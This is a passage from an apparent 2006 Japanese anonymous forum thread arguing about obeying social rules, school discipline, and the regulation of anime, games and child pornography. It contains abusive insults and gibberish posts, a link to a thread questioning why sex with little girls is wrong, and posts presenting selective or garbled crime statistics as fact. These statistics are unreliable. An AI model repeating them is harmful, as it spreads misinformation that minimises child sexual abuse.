しかし、彼をある財産の所有者にする積極的行為が、彼を残りのすべて
から締め出す。
彼の分け前がきまった以上、彼はそれで辛抱しなければならない。
共同体の財産にたいしては、もう何も権利はないのである。
自然状態においてきわめて弱いものであった先占権が、すべての市民にとって
尊重すべきものとなるのは、以上の理由による。
「社会契約論」ルソー

321 :名無しさんの主張:2006/10/15(日) 06:07:14
定期昇給、年功序列、終身雇用。退職金がっぽり、年金がっぽり。悠々自適の夢の老後。
あれって釣り?日本はメッキ禿げてるじゃん。
60から65歳に5年も夢の老後を先延ばし。その頃になったら金があっても体動かないよ。
しかも平均死亡68歳なんだから、たった3年の老後のために40年に渡って年金納めるのか。

まじ日本はメッキ禿げたな。その禿げてるメッキに真っ先に気付いたのがニートだろうね。

今は空前の好景気?それも嘘くさい。釣りじゃないの。
好景気で給与、ボーナス倍増したの? 今、何がそんなに売れてるの?奴隷は裕福になったの?

322 :名無しさんの主張:2006/10/15(日) 06:07:55
社会ルールを守れるものが市民であり、それを社会性のある人間という。
そして、ルールを厳守させることによってしかそれは育まれない。
ルールを悪だとして排除すればいいという考え方は間違い。

323 :名無しさんの主張:2006/10/15(日) 06:08:38
ルールを悪だとして排除すればいいという考え方なんて誰が言っ多?

324 :名無しさんの主張:2006/10/15(日) 06:11:03
>>323
「生徒が悪いのではない、制度が悪いのである」
「すべての規制から解放すれば、生徒は生き生きと甦る」
「個人個人のニーズに合致させる教育」
「学年や教材や、時間割に縛られることなく自由に」
「従来のような画一的な学校体制を強いるのはよくない」

これはルールの押し付けが悪い、自由であるべきだとの考え
方が現れたもの。
左翼教師も同様で、だからこそ注意もしない。

325 :名無しさんの主張:2006/10/15(日) 06:11:19
>>322
てめえいい加減にしろ
余計な社会ルールを極力排除しろと言ってるんだ
余計な社会ルールを厳守する意味は無い
お前もう一生このスレjに来るな
お前どこまでおれを怒らせたら気が済むんだ駆使野郎

326 :名無しさんの主張:2006/10/15(日) 06:12:37
>>325
だから余計なルールを設けろなんていつ言ったんだ?
お前こそいい加減にしろよ?

327 :名無しさんの主張:2006/10/15(日) 06:13:24
>>324
理不尽なルールを押し付けるのはダメにきまってんだろ猿
じゃあお前自由がなくなってもいいわけだな
どうやって俺の主張を曲解するんだ?
お前に反論sするやつはみんなそういう同じsy著うしあかいあすsなわkらんfd「

328 :名無しさんの主張:2006/10/15(日) 06:14:56
>>326
てめえがいい加減にしろ
このクズ野郎
この釈迦いは余計なルールだs家何尾だよ

329 :名無しさんの主張:2006/10/15(日) 06:15:01
余計かどうかも主観によって変わってくると説明もしたが?
余計だと感じることでもそれを遵守することでルールを守れる
人間になるという意味で無意味ではないが、日本の学校に無意味
なルールを設けろなどとは一言もいっとらん。

330 :名無しさんの主張:2006/10/15(日) 06:16:10
繰り返しになるが、ルールを厳守させろと言ってるんだ。

331 :名無しさんの主張:2006/10/15(日) 06:16:30
>>329を翻訳
>余計だと感じることでもそれを遵守することでどんな理不尽なルールも守ろうとする
>ポチ奴隷になるという意味で無意味ではないが

332 :名無しさんの主張:2006/10/15(日) 06:17:08
>>330
余計なルールは厳守する必要なし
個人の尊厳を奪うルールは全部死ね

333 :名無しさんの主張:2006/10/15(日) 06:17:32
>>327
個々の判断で無駄かどうか考えて好き勝手にやらせても社会性は
養われないんだよ。

334 :名無しさんの主張:2006/10/15(日) 06:18:13
>>332
君のような人間が生まれるから日教組教育は間違いなんだ。

335 :名無しさんの主張:2006/10/15(日) 06:18:15
社会という馬鹿の判断で有益かどうか考えて好き勝手にやらせても個人の尊厳は
守られないんだよ。

336 :名無しさんの主張:2006/10/15(日) 06:18:51
>>334
お前のようなクズは間違いなんだ
だれが日教組だ猿野郎

337 :名無しさんの主張:2006/10/15(日) 06:36:42
>>335
社会という馬鹿、って何だ?
政治家なら民主的手続きを経て選ばれた者、学校の校長なら
最高責任者だろう。
それらが社会にとって、公共にとって必要、あるいはそれらを守る
能力を養う上で必要だと決めたことなら守らなければならないのは
当然だ。
自分が不要だと思うルールなら守らなくていい、なんて考え方が
通じるはずはない。
そもそも、公共に迷惑をかけるような個人の権利って何だ?
自分の勝手な思惑で他者のことを考えないのをジコチューという。
これはテロリストと同じ独善だね。

>>336
いつ君が日教組だと言った?


338 :名無しさんの主張:2006/10/15(日) 06:39:41
ああキモイキモイ
社会がそんなに偉いならお前は一生社会のポチになって
社会が 「お前水をストローで飲まずコップで飲んだから死ね」 って言ったらそれで一生を終えろ
社会が 「お前、俺の靴を舐めた後3回回ってコケコッコーしろ」 って言われたらそのとおりにやれ
消えろ二度と来るな>>334
気持ち悪いんだよ社会の奴隷は
おえっ吐き気がする

>>337
>自分が不要だと思うルールなら守らなくていい、なんて考え方が
>通じるはずはない。
曲解乙

>そもそも、公共に迷惑をかけるような個人の権利って何だ?
うわぁまた妄想してるよコイツ
頭大丈夫かな
誰が公共に迷惑かけると言った?
そもそも公共自体迷惑なんだよ猿

339 :名無しさんの主張:2006/10/15(日) 06:40:36
最高の人生はニートだな。就職して労働は糞。
http://makimo.to/2ch/life7_jinsei/1148/1148321356.html

340 :名無しさんの主張:2006/10/15(日) 06:41:08
>>338
理不尽なルールは守る必要がないんだろ?
理不尽と判断するのは君だろ?
だったら、公共に必要だと作ったものが考えていても、君が理不尽
だと考えれば破っていいんだろ?

341 :名無しさんの主張:2006/10/15(日) 06:47:06
>>340
なんで個人が理不尽だと結論が出たのがダメで
社会が理不尽だと結論が出たものはいいんだよバーかバーカバーカ
明らかになんの意味も無く害しかないようなものでもてめーは受け入れるんだな猿みてえによー
バーカ

じゃあお前は人殺しが社会で義務付けられてもお前は人殺しが出来る鬼畜なんだな
うわ最低だなお前
茶髪してる奴に出会ったら100万円あげると社会で義務付けられるんなら理不尽でもこれら全部受け入れろよてめえ
もし社会で本を読むなと義務付けられてるんならもし社会で背kk数巣乱ラン義務づえkらsれってmwえ
やーいやーいばーかばーかうんこうんこうんこ

342 :名無しさんの主張:2006/10/15(日) 06:48:38
swtxrdycfvghbklんbgvfrdtcfvgbhbdghgrhwgjんcvcんせbvウンfmdrj費k巣j虞hwくぉ負rks
m下jるfbdべjれsmbちうゆゆゆゆっゆゆbkd、bm、で美t時風雨羽羽羽羽羽羽羽羽羽羽羽羽羽羽羽羽羽羽羽wmsんrb儒mしrべ
t李儒vm類絵j縫い異琥底森mb新芽bんうぇんr部wのwrにffffffffっふぉ糞も樽k、dm

343 :名無しさんの主張:2006/10/15(日) 06:48:39
>>341
つまり、理不尽かどうか、個々の判断でルールは守ったり守ら
なかったりしていい、ということだね?

344 :名無しさんの主張:2006/10/15(日) 06:52:04
>>343
てめー反論できねーでやんの
ばーかざまーみろ猿
お前は人殺しが社会で義務付けられてもお前は人殺しが出来る鬼畜と考えていいわけだな
茶髪してる奴に出会ったら100万円あげるルールも社会で本を読むな令も全部守るポチだなてめえは
社会が 「お前水をストローで飲まずコップで飲んだから死ね」 って言ったらそれで一生を終えんだなお前
社会が 「お前、俺の靴を舐めた後3回回ってコケコッコーしろ」 って言われたらそのとおりにやんだなてめえはよおおおお!!!
そうなんだな?てめえはそういう鬼畜なんだな?そういうポチあんだなコラ?」

345 :名無しさんの主張:2006/10/15(日) 06:53:09
>>344
はぐらかさないように。
つまり、理不尽かどうか、個々の判断でルールは守ったり守ら
なかったりしていい、ということだね?


346 :名無しさんの主張:2006/10/15(日) 06:55:27
そもそも、民主主義国家では誰の身に降りかかるかもしれない、
また、公共の福祉に必要だとも考えられないルールが設けられる
はずもなく、また社会性を養うためにそんなルールを設けるわけ
もなく。

347 :名無しさんの主張:2006/10/15(日) 06:56:40
>>345>>346
てめー反論できねーでやんの
ばーかざまーみろ猿
お前は人殺しが社会で民主主義の名の下に義務付けられてもお前は人殺しが出来る鬼畜と考えていいわけだな
茶髪してる奴に出会ったら100万円あげるルールも社会で民主主義の名の下に本を読むな令も全部守るポチだなてめえは
社会が民主主義の名の下に 「お前水をストローで飲まずコップで飲んだから死ね」 って言ったらそれで一生を終えんだなお前
社会が民主主義の名の下に 「お前、俺の靴を舐めた後3回回ってコケコッコーしろ」 って言われたらそのとおりにやんだなてめえはよおおおお!!!
そうなんだな?てめえはそういう鬼畜なんだな?そういうポチあんだなコラ?
てめえはこういう理不尽なるーるも忠犬ポチ公みてえにご主人様に従う犬野郎だということだなてめえ
おらどうなんだよほれほれほれほれほれほれほれほれほれほれほれほれほれほれほれほれほれほれほれほれほれほれほれ
こういう理不尽なルールにてめーは従う鬼畜ポチなんだねええええwwwwwwwww???

348 :名無しさんの主張:2006/10/15(日) 06:56:49
どこの世界に社会性を養うために人殺しをしろ、なんてルール
を作るというのか。

349 :名無しさんの主張:2006/10/15(日) 06:57:47
つまり、左翼教育で生まれるのは、

つまり、理不尽かどうか、個々の判断でルールは守ったり守ら
なかったりしていい

という、反社会的な人間ということ。

350 :名無しさんの主張:2006/10/15(日) 06:58:19
>>348
あるかもしれねえじゃねえかよおおおおおおおおおおwwwwwwww???
現に今アニメや漫画とか理不尽な規制の憂き目にあってまちゅからねえええ!!
うへへええええええええええええええ!!!!

351 :名無しさんの主張:2006/10/15(日) 06:59:11
>>350
そのキャラはやめた方がいいよ?

352 :名無しさんの主張:2006/10/15(日) 06:59:44
つまり、>>349式教育で生まれるのは、

人殺しが社会で民主主義の名の下に義務付けられ
茶髪してる奴に出会ったら100万円あげるルール
社会が民主主義の名の下に 「お前水をストローで飲まずコップで飲んだから死ね」
社会が民主主義の名の下に 「お前、俺の靴を舐めた後3回回ってコケコッコーしろ」




という、社会の忠犬ポチ公ということ。

353 :名無しさんの主張:2006/10/15(日) 07:00:41
>>351
やめない方がいいかもしれねえじゃないでちゅかー!!!!!!
うべべべえっべげげげげげげげ!!!wwwwww

354 :名無しさんの主張:2006/10/15(日) 07:01:14
>>352
そんな、公共の福祉に必要だとも思えないルールは作らないし、そんな
ルールを考える者を当選させないのが民主社会。
アニメなどの規制もそれなりに悪影響があるとの考えがあるから。

355 :名無しさんの主張:2006/10/15(日) 07:02:22
>公共の福祉に必要だとも思えないルールは作らないし
>アニメなどの規制もそれなりに悪影響があるとの考え

アニメと犯罪の因果関係は証明されてませんwwwwwwwwwwwww

356 :名無しさんの主張:2006/10/15(日) 07:02:56
>>353
だからやめなさいってw

つまり、理不尽かどうか、個々の判断でルールは守ったり守ら
なかったりしていい、ということだね?

イエス?ノー?

357 :名無しさんの主張:2006/10/15(日) 07:03:58
人殺ししないと悪影響があるから社会で民主主義の名の下に義務付けられ
茶髪してる奴に出会ったら100万円あげないと悪影響があるかもしれないからそれルール
水をストローで飲まずコップで飲むと悪影響が(ry
俺の靴を舐めた後3回回ってコケコッコーしねえと悪影(ry


うはwwwwwwwwwwwwwwwwwww

358 :名無しさんの主張:2006/10/15(日) 07:05:32
>>355
で、その規制は決まったの?

359 :名無しさんの主張:2006/10/15(日) 07:07:10
>>357
どんな悪影響があるの?
そのように判断する材料がないいじょう、そのようなルールを考える
人間はいないと思うんだけど。

360 :名無しさんの主張:2006/10/15(日) 07:08:23
カップラーメンの危険性

1)ラットによる実験では、ラットをラーメン内に入れると87%の確率で溺死する。
2)カップラーメンを食べた人が将来200年以内に死亡する確率はほぼ100%。
3)凶悪犯がカップラーメンを購入する確率は、同じ犯罪者がアフガニスタン国債を購入する確率よりはるかに高い。
4)カップラーメンを気管に入れると咳嗽反射が起こり、最悪の場合窒息により死に至る。
5)カップラーメンを食べながら自動車を運転した場合、重大な人身事故が発生するおそれがある。
6)健康な成年男子にカップラーメン1個のみを与えて長期間監禁した実験では、被験者の99%が50日以内に死亡した。
7)電化製品をカップラーメン内に入れると、破損するおそれがある。
8)25年間保存されたカップラーメンは有毒である。
9)カップラーメンを作る際に火傷をした人の85%は、カップラーメンがなければ火傷はしなかったと述べている。
10)米国では倒壊したカップラーメンの入ったコンテナの下敷きになって人が死亡した事例が報告されている

(1)酸性雨の主成分であり、温室効果を引き起こすことも知られている。
(2)多くの場合、海難事故者の直接の死因になっている。
(3)高レベルのDHMOに曝されることで植物の生育が阻害される。
(4)末期癌の腫瘍細胞中にも必ず含まれている。
(5)この物質によって火傷のような症状が起こることがあり、固体状態のDHMOに長時間触れていると皮膚の大規模な損傷を起こす。
(6)多くの金属を腐食・劣化させる。
(7)自動車のブレーキや電気系統の機能低下の原因ともなる。


わーいカップラーメンも水も規制だああああああああああいwwwwwww
>>358
すでにゲームは雁字搦め
アニメも倫理規制という名の表現k市営wwwwwww
漫画はいつ同じ目(八つ当たり)にあうかもとうまく表現しずれえ立場
ぶええええええええええええええへっへえへへへえっへ!!

361 :名無しさんの主張:2006/10/15(日) 07:10:09
>>360
ぜんぜん説得力がないから、誰もそのようなルールはきめないよね。

362 :名無しさんの主張:2006/10/15(日) 07:11:59
>どんな悪影響があるの?

んなもん実際になくてもこじつけされちまうんだよおおおおおwww
それが民主主義wwwww民を誑かしそれについてのなんか>>360みたいな悪い印象与えてあとはずどーんばたんきゅー”!!!
そのようなルールを考える人間はいねえだとお??ばか!!それ規制できるようになったら
それをとりしまる側が利権をむさぼれるだろーがああああああwwwww!!

363 :名無しさんの主張:2006/10/15(日) 07:14:04
>>362
そんなこじつけで何の得が生じるの?
そんな政治家が当選するの?
ぜんぜん証明されてないことで、そんな規制されたら、かえって公共の
福祉を損なっていることになるんじゃない?


364 :名無しさんの主張:2006/10/15(日) 07:14:58
>>361
うほおおおおおおおおおお民衆ってのは簡単に騙されちまう馬鹿なんだじょー!

(1)酸性雨の主成分であり、温室効果を引き起こすことも知られている。
(2)多くの場合、海難事故者の直接の死因になっている。
(3)高レベルのDHMOに曝されることで植物の生育が阻害される。
(4)末期癌の腫瘍細胞中にも必ず含まれている。
(5)この物質によって火傷のような症状が起こることがあり、固体状態のDHMOに長時間触れていると皮膚の大規模な損傷を起こす。
(6)多くの金属を腐食・劣化させる。
(7)自動車のブレーキや電気系統の機能低下の原因ともなる。

これだけあんけーとで知らされた人がこれを規制すべきにほとんどだったんだよーん!!
しかも民主主義という多数決ルールがつおーいしゃかいだと????
あーら不思議!!芸能界にちゅーもくばっかしてる民衆は何も知らされず水を規制されちまうって寸法よーんwwwww

365 :名無しさんの主張:2006/10/15(日) 07:16:31
>>362
公共の福祉に反するというのは、多くの人が迷惑だと感じている
ということで、証明もされないことでそれを甘んじて受ける市民は
いないと思うが。
カップラーメンを売ることで秩序が乱れるとか?

366 :名無しさんの主張:2006/10/15(日) 07:18:26
>>364
そんな、科学的に証明できないことで公共の福祉に反する法律を作れ
と言っても無理。
当然反論する人が出てくるわけで、議論が起こるし。

367 :名無しさんの主張:2006/10/15(日) 07:18:30
>そんなこじつけで何の得が生じるの?
それをとりしまる側が利権をむさぼれるだろーがああああああwwwww!!
二度も言わせんなーよ!!猿!!

>そんな政治家が当選するの?
大衆は愚かだから上辺だけ綺麗な顔してる奴に簡単にだまされちまうんだじょーん!!!!!wwwwwwww


>そんな規制されたら、かえって公共の
>福祉を損なっていることになるんじゃない?
福祉けがしても民衆に感づかれないようにしてればいいんだじょーん!!wwwwwww
てめーは民衆の馬鹿さ加減をしらねえと見たああああああああああああ
だいたい利権をみさぼるような醜いブタさんが公共の福祉なんか考えるわけねーだろがあああ!!
こりゃ一本とられちまったわあああああああ!!!!!!おおおおおおおお

368 :名無しさんの主張:2006/10/15(日) 07:19:56
>>367
取り締まることでどんな利益が生じるの?
どうやって信じさせるの?
公共の福祉に反してることをどやって知らせないようにするの?

369 :名無しさんの主張:2006/10/15(日) 07:20:37
>>367
っていうか、君おもしろいw

370 :名無しさんの主張:2006/10/15(日) 07:22:49
魔女狩りもしらねええのかああああああああああてめーはあああああああ!!!???
こんんのオトボケ野郎がああああああああああああああああああ!!!!!!!!!!!!

>カップラーメンを売ることで秩序が乱れるとか?
カップラーメンがいかに悪いものであるか民衆を騙して洗脳するんだよぉぉぉぉ…
そうすれば民衆はかっぷらーめんをきせいしてお上さまーん(はぁと)って賛成するんだからよおお
民衆の馬鹿さ加減を知れよてめえええええええ!!ヒットラーをみならえーい!はいーるひっとらー!!!!!!

>当然反論する人が出てくるわけで、議論が起こるし。
権力でも使ってそいつらがうまくでてこれねーようにすりゃいいだろーがー!!!!!!
てめえは日本でいったいいくつのロリコンがひでえ目にあってんかしらねえだろーーーーーーーーーーーー”!!!!!!

371 :名無しさんの主張:2006/10/15(日) 07:23:25
だってそんなこと、朝日新聞なら、公共の福祉に反してなくても反
したかのように報道するだろうし、ましてや本当に規制の根拠になった
話が嘘なら、絶対にそれを報道するはずだけど。

372 :名無しさんの主張:2006/10/15(日) 07:26:49
>てめえは日本でいったいいくつのロリコンがひでえ目にあってんかしらねえだろーーーーーーーーーーーー”!!!!!!

ワロス

373 :名無しさんの主張:2006/10/15(日) 07:28:34
>>368
てめえのロリコンというイメージはどんなんだああああああああああん?*
マスゴミちゃんその他いろいろめでぃあを通じてロリコンちゃんのウゲーな印象が刷り込まれているのらー

>取り締まることでどんな利益が生じるの?
「悪」を取り締まった「正義の戦士」さまは王様からなんのご褒美ももらえねえってかあーーーー!!?

>どうやって信じさせるの?
水を悪影響のあるもんだと信じ込ませた14歳がいるだろーが!!!!!

>公共の福祉に反してることをどやって知らせないようにするの?
知らせないようにするっつうよりなぁ、目をそらさせんだよおおおおおおおおお!!!!!ボケナス!!
芸能人とかそういうもん見せといて気がつかねえようにすんだよっ

>>369
おれがおもしえれえんじゃなくてテメーがつまんねえんだよ!!!

374 :名無しさんの主張:2006/10/15(日) 07:30:19
>>373
水を悪影響があるものだと信じさせたっていうのはいつの話?
どれくらいの人間を信じさせたの?

375 :名無しさんの主張:2006/10/15(日) 07:31:23
>>373
っていうか、そのキャラ疲れない?w

376 :名無しさんの主張:2006/10/15(日) 07:31:35
      , イ)ィ -─ ──- 、ミヽ
      ノ /,.-‐'"´ `ヾj ii /  Λ
    ,イ// ^ヽj(二フ'"´ ̄`ヾ、ノイ{
   ノ/,/ミ三ニヲ´        ゙、ノi!
  {V /ミ三二,イ ,  /,   ,\  Yソ
  レ'/三二彡イ  .:ィこラ   ;:こラ  j{
  V;;;::. ;ヲヾ!V    ー '′ i ー ' ソ
   Vニミ( 入 、      r  j  ,′  <>>374自動車のブレーキや電気系統の機能低下の原因ともなる。
   ヾミ、`ゝ  ` ー--‐'ゞニ<‐-イ
     ヽ ヽ     -''ニニ‐  /
        |  `、     ⌒  ,/
       |    >┻━┻'r‐'´
      ヽ_         |
         ヽ _ _ 」    

  ググレカス [ Gugurecus ]
  ( 2006 〜 没年不明 )

377 :名無しさんの主張:2006/10/15(日) 07:33:11
朝日新聞というのは、発行部数の面からいってかなり影響力があるから
その新聞が書き立てたら、目をそらすことはできないと思うが。
おそらく朝日が書けば毎日も書くだろうし、地方紙も同様。

378 :名無しさんの主張:2006/10/15(日) 07:39:17
書かせなきゃいいだろーが…
なんのために袖に舌があると思ってんのお????

>本当に規制の根拠になった
>話が嘘なら、絶対にそれを報道するはずだけど。
じゃあなんでゲームの年齢規定が未だに存在すんのかなぁぁぁ
ゲームと犯罪非行の因果関係ねええのによおおおおおおおおおおーーーーっ!!!!
ぐろいゲーム見て精神不安定になったガキが増えた話もねえのになああ
だいたい馬鹿で記憶力の悪い民衆とかいう連中がそんなもんに載ってたとしても
いつまでもおぼえてるわけねえんだよねええ!!!

379 :名無しさんの主張:2006/10/15(日) 07:41:03
警察庁の『漫画・アニメ・ゲーム表現規制法』検討会問題まとめ @Wiki
ttp://www11.atwiki.jp/stop_kisei/


●エロゲ業界オワタ\(^o^)/ ロリっぽく見えたら児童ポルノ
ttp://www.nyasoku.com/archives/50453959.html

380 :名無しさんの主張:2006/10/15(日) 07:45:12
【小児性愛】児童買春・児童ポルノ規制を語るスレ3
http://news18.2ch.net/test/read.cgi/news2/1157445384/l50
【表現の自由】フィクション規制法[児ポ法]を許すな
http://book3.2ch.net/test/read.cgi/sf/1021677644/
なんで幼女とセックスしたらいけないんだよ!!!!
http://society3.2ch.net/test/read.cgi/shugi/1151384586/
なぜロリコンは犯罪扱いされるのか16
http://society3.2ch.net/test/read.cgi/soc/1157983082/l50
「ニート」って言うな! 発売 〜2冊目〜
http://academy4.2ch.net/test/read.cgi/sociology/1153584232/l50

381 :名無しさんの主張:2006/10/15(日) 07:46:11
>>378
話が嘘だという根拠がないとか、他国を参考にして決められたものだとか
、もし弊害があったときに、規制しないことで考えられるメリットデメリット
との兼ね合いを考えてのことかもしれない。
また、残酷な描写のものを年齢規制するのは社会通念上非常識だとも
言えない、というのもある。

382 :名無しさんの主張:2006/10/15(日) 07:48:33
また、朝日などに載れば、プロ市民も黙っていないわけで、大きな
問題に発展するのは明らか。
それに、朝日新聞が書いたことでこれまで何人の閣僚が辞任せざる
を得なくなったかということを考えると、黙らせることはできないと
思うが。
だからこそ第四の権力といわれるわけで。

383 :名無しさんの主張:2006/10/15(日) 07:49:09
>規制しないことで考えられるメリットデメリット
>との兼ね合いを考えてのことかもしれない。

「疑わしきは罰せず」
あんな言い掛かりで規制されるのか?

>残酷な描写のものを年齢規制するのは社会通念上非常識だとも
>言えない、というのもある。

なんで社会通念なんてもんに従わなきゃいけんのよ?
そのバヤイ従わなくてもなんら問題ない、むしろ規制することで
表現の自由という社会的通念を侵害してまちゅ

384 :名無しさんの主張:2006/10/15(日) 07:53:00
>>383
社会通念にそった主張をしているかいないか、というのが政治家を
選ぶ上で重要な判断材料になっているから。
だからあまりにそれに反する規制で、ましてや証明もされていないと
いうなら支持されないだろうと思うが。

385 :名無しさんの主張:2006/10/15(日) 07:54:53
それに、もし悪影響が考えられ、それが深刻な場合、疑わしきは
罰せずなどと言っていられないだろうし、だからこそ日本は狂牛病
検査でも完璧を求める。

386 :名無しさんの主張:2006/10/15(日) 07:55:57
>社会通念にそった主張をしているかいないか、というのが政治家を
>選ぶ上で重要な判断材料になっているから。
その「社会通念」を利用して行われたのが魔女狩り


>だからあまりにそれに反する規制で、ましてや証明もされていないと
>いうなら支持されないだろうと思うが。
魔女狩りは民衆に支持された
魔女であることを「証明」させられて

387 :名無しさんの主張:2006/10/15(日) 07:57:45
>>386
魔女狩りのような危険性は、民主主義につきものだよ。
でも他の政治体制よりかはいいと考えられているのも事実。


388 :名無しさんの主張:2006/10/15(日) 07:58:09
>>385
悪影響が「考えられ」???
ゲーム漫画アニメの悪影響の因果関係は証明されていない
そんな「思い込み」で行われたのが魔女狩り
悪い印象が刷り込まれ無知を利用され扇動されたせいで被害をうけているのが
>>380

389 :名無しさんの主張:2006/10/15(日) 07:58:59
>>387
つまりおまえは民主主義のためなら魔女狩りを肯定すると
うわ最低だコイツ

390 :名無しさんの主張:2006/10/15(日) 08:00:04
魔女にされた人はかわいそうだろうなぁああ
火あぶりってめっちゃ苦しそう
でも>>387曰く「他の政治体制よりかはマシ」

最悪だコイツ

391 :名無しさんの主張:2006/10/15(日) 08:00:34
それに、中世には宗教的な権力が洗脳することができたし、なぜ
それができたかというのは、それを批判する権利が誰にもなかった
から。
だからとんでもない考えが社会通念にまでなることができた。


392 :名無しさんの主張:2006/10/15(日) 08:01:55
現代にはマスゴミ的な権力が洗脳することができたし、なぜ
それができたかというのは、それを批判する権利もやる気も誰にもなかった
から。
だからとんでもない差別が社会通念にまでなることができた。

393 :名無しさんの主張:2006/10/15(日) 08:06:08
>>389
だからと言って、民主主義に代わる体制はまずみつからないし、だから
体制監視のマスコミの役割が大きいといえるわけで。
それに今では外国の状況などもわかるわけで、だからこそあまり非常識
なことが社会通念にまでなることはないでしょう。


394 :名無しさんの主張:2006/10/15(日) 08:09:29
>>393
あるよ
理不尽な差別規制がまかり通ってる

395 :名無しさんの主張:2006/10/15(日) 08:10:51
<他国と日本の児童ポルノに関する関係>

アメリカの市民団体児童失踪児童虐待国際センターが国際政治警察機構インターポールと協力して
184カ国を対象に行った児童ポルノ規制の実態調査が発表された。
その中で日本は法律制度の充実度のランクで下から二番目の不適切な分類に分類され、
G8主要八カ国なんと最下位であった。
また、184か国中半数を超える95カ国で児童ポルノを制定されておらず、
児童ポルノの所持が犯罪でない国も4/3、日本を含む138カ国にのぼることが分かった。
また、十分に包括的な法規制がされているとされた国は、アメリカ、フランス、
オーストラリア、ベルギー、そして南アフリカの五カ国であった。

しかしこれは各国が法律を制定した結果どれだけ効果があったという議論ではなく、
単にどういう条文があるかということを比べているだけである。
2002年人口十万人あたりの強姦事件の発生件数を例にあげると、日本は10万人あたり1.85件。
それに対しベルギー23.57件、イギリス22.62件、アメリカ32.99件となっている。
そうすると、これらの性犯罪が多い国においては厳しい法律が必要なのかも知れないが、
わが国において果たしてそれらが必要なのかというと疑問が残る。
つまり他の国がやってるからといっても状況が違うわけだ。

日本の場合、子供に対する性犯罪の件数というのは減少傾向にある。
小学生以下に対する強姦事件で、最も多かったのは1963年で、年間458人。
対して、2004年では53人と、明らかな減少傾向にある(成年の強姦被害者も減っている)。
ポルノと性犯罪との因果関係は恐らくない。それどころか、1963年当時と比べれば、現在は
圧倒的にポルノが多いわけだから、むしろ抑制していると思われる。

396 :名無しさんの主張:2006/10/15(日) 08:11:12
>>394
ロリコン規制?w
とりあえず出かけなきゃいけないので、また帰ったらカキコします。

397 :名無しさんの主張:2006/10/15(日) 08:12:28
【児童ポルノ法が性犯罪を助長していることは自明。】

児童ポルノ法が性犯罪を助長していることは自明。
児童ポルノ法は日本国憲法で定めている『表現の自由』を奪っている、違憲だ。
ある県ではPTAのババア一人の決定によりゲームや雑誌の暴力シーンや性表現
が勝手に“有害な物”として出版禁止になっているらしい。
雑誌やゲームの暴力シーン、性表現が直接犯罪に結びつくという証拠はない。
むしろ性表現に寛容な方が犯罪が減るというデータはいくらでもある。
いったいPTAのババアに検閲する権利なんてあるのだろうか?
僕らの表現の自由はどこへ行ってしまったのか?
これからもPTAのババア一人の意見によって“有害”とされたゲームや雑誌が
販売中止となり続けるだろう。

398 :名無しさんの主張:2006/10/15(日) 08:13:11
>>396
二度と来るなカス野郎

399 :名無しさんの主張:2006/10/15(日) 08:15:34
石原ヒトラー慎太郎政権下の東京では、
エロ漫画やエロ雑誌が撲滅されつつあるね。

統一教会や幸福の科学は、性教育ではなく、純潔教育を学校で教えろと主張。



400 :名無しさんの主張:2006/10/15(日) 08:16:01
>>395
規制前と規制後で幼児を対象にした性犯罪の発生率が変わった、あるいは
変わらなかった、ということを示すデータはないの?

401 :名無しさんの主張:2006/10/15(日) 08:17:06
>>400
さっさと消えろ

402 :名無しさんの主張:2006/10/15(日) 08:17:43
>>401
冷たいなw
じゃあ、また夜にw

403 :名無しさんの主張:2006/10/15(日) 08:18:43
>>402
永久に来るな
個人の尊厳を奪うクズのくせして

404 :名無しさんの主張:2006/10/15(日) 08:28:47
【性表現を規制すればするほど、性犯罪が爆発的に増える。】

性情報が性犯罪をもたらす危険性についてはいまだに科学的な立証がされていない。
しかし、社会が性情報に寛容であることが、カタルシス効果によって
性衝動や性犯罪に対して抑止的に作用することについては複数の報告がある。
(アイゼンクとナイアスの著書『性・暴力・メディア』新曜社刊など)。
しかし児童ポルノ法が、性情報を規制することが性犯罪を助長させると
どれほど学問的に厳密な立証をして見せても無能な国会議員や裁判官一人の
“有害だ”という勝手な思い込みにより、雑誌、写真集、ゲーム等あらゆる
性表現、暴力表現が規制されていく。なぜ性表現の規制強化が自明の前提なのか
私には理解できない。性表現を規制すればするほど、性犯罪が爆発的に
増えるのだから。
http://www.danjyo.pref.kumamoto.jp/G/G-014/
児童ポルノ法が施行された平成11年から爆発的に増加する性犯罪。

405 :名無しさんの主張:2006/10/15(日) 08:31:07
マスゴミが報道しない真実。

国別の強姦発生率(1999〜2000)は人口10万人に対して
カナダ97.7(←ロリ漫画、ゲーム、ネット規制国)
韓国11.4(←ロリ漫画、ゲーム、ネット規制国)
日本1.3(←規制無し)
http://dataranking.com/Japanese/so02-1.html

406 :名無しさんの主張:2006/10/15(日) 08:53:22
というか個の尊重をいつからそんな重宝するようになったんだろ。クソみたいな個はどんどん矯正していくべきだろ

407 : ̄ ̄ ̄ ̄ ̄ ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄:2006/10/15(日) 08:54:57


    / ̄ ̄ ̄ ̄\
   (  人_____,,)
    |ミ/  ー◎-◎-)
   (6     (_ _) )    カタカタカタ
   | ∴ ノ  3 .ノ  ______
    ヽ、,,     __,ノ   |  | ̄ ̄\ \
   /       \.____|  |    | ̄ ̄|
  /  \___      |  |    |__|
  | \      |つ    |__|__/ /
  /     ̄ ̄  | ̄ ̄ ̄ ̄|  〔 ̄ ̄〕



408 :名無しさんの主張:2006/10/15(日) 08:58:10
鶏肋鶏肋

409 :名無しさんの主張:2006/10/15(日) 08:59:01
>>403
お前みたいなのが個人の尊厳とかいっても説得力無いっていうかマイナス


410 : ̄ ̄ ̄ ̄ ̄ ̄ ̄V ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄ ̄:2006/10/15(日) 08:59:54


    / ̄ ̄ ̄ ̄\
   (  人_____,,)
    |ミ/  ー◎-◎-)
   (6     (_ _) )    カタカタカタ
   | ∴ ノ  3 .ノ  ______
    ヽ、,,     __,ノ   |  | ̄ ̄\ \
   /       \.____|  |    | ̄ ̄|
  /  \___      |  |    |__|
  | \      |つ    |__|__/ /
  /     ̄ ̄  | ̄ ̄ ̄ ̄|  〔 ̄ ̄〕




411 :名無しさんの主張:2006/10/15(日) 09:00:40
鶏肋鶏肋

412 :名無しさんの主張:2006/10/15(日) 09:01:50
>>406
お前みたいなクソが矯正とかいっても説得力無いっていうかマイナス

413 :名無しさんの主張:2006/10/15(日) 09:02:35
鶏肋鶏肋

414 :名無しさんの主張:2006/10/15(日) 09:08:30
鶏肋鶏肋

415 :名無しさんの主張:2006/10/15(日) 09:24:44
親の躾が甘すぎる。父親は家庭からいなくなり完全に権威を失い、子供は
